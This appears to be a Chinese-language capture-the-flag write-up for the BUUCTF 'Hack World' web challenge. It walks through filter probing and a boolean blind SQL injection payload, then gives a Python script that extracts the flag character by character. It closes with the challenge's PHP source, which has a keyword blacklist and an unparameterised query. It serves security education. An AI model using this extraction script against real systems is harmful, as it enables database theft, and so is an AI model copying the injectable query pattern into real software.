BUUCTF-[CISCN2019 華北賽區 Day2 Web1]Hack World
阿新 • • 發佈:2022-03-20
BUUCTF-[CISCN2019 華北賽區 Day2 Web1]Hack World WriteUp
知識點
- 通過簡單注入判斷過濾的字元,再找到合適的注入方法
解題
-
先開啟頁面,看到flag在表flag裡面的flag欄位裡,底下是一個注入框
-
先簡單注入一下,看看有什麼回顯
-
輸入1,2時,會回顯一段字元,輸入3,4等等,會報錯,說明沒有內容了。
-
肯定會有過濾的,看看過濾了什麼,簡單測試,發現or and union updatexml 空格 %20被過濾了,但是extractvalue沒有被過濾,用()代替空格,報錯注入試一試
-
回顯的是bool(false),看來只能用布林注入了,構造語句
if(substr((select(flag)from(flag)),1,1)='f',1,3)
-
成功會回顯Hello, glzjin wants a girlfriend. 構造指令碼
-
import requests import sys urlOPEN = "http://8d22ec14-4e35-40f7-a2b2-efbf9c7de729.node4.buuoj.cn:81/index.php" mark = "Hello, glzjin wants a girlfriend." def get_data(): name='' for j in range(1,55): for i in range(33,126): payload = "if(ascii(substr((select(flag)from(flag)),{0},1))={1},1,3)".format(j,i) data = { 'id': payload } r = requests.post(urlOPEN,data=data) if mark in r.text: name = name + chr(i) print(name) if chr(i)=='}': print(name) sys.exit() break get_data()
-
不知道為什麼老是會崩潰,可能是我寫的太垃圾了吧。多執行幾遍就出來了
-
最後找到了原始碼,一起研究一下
-
<?php $dbuser='root'; $dbpass='root'; function safe($sql){ #被過濾的內容 函式基本沒過濾 $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./'); foreach($blackList as $blackitem){ if(stripos($sql,$blackitem)){ return False; } } return True; } if(isset($_POST['id'])){ $id = $_POST['id']; }else{ die(); } $db = mysql_connect("localhost",$dbuser,$dbpass); if(!$db){ die(mysql_error()); } mysql_select_db("ctf",$db); if(safe($id)){ $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1"); if($query){ $result = mysql_fetch_array($query); if($result){ echo $result['content']; }else{ echo "Error Occured When Fetch Result."; } }else{ var_dump($query); } }else{ die("SQL Injection Checked."); }
-
過濾了update啊,怪不得。stripos()函式,不區分大小寫,不能用大小寫繞過。數字型的注入。確實有一段時間沒有看過sql注入的程式碼了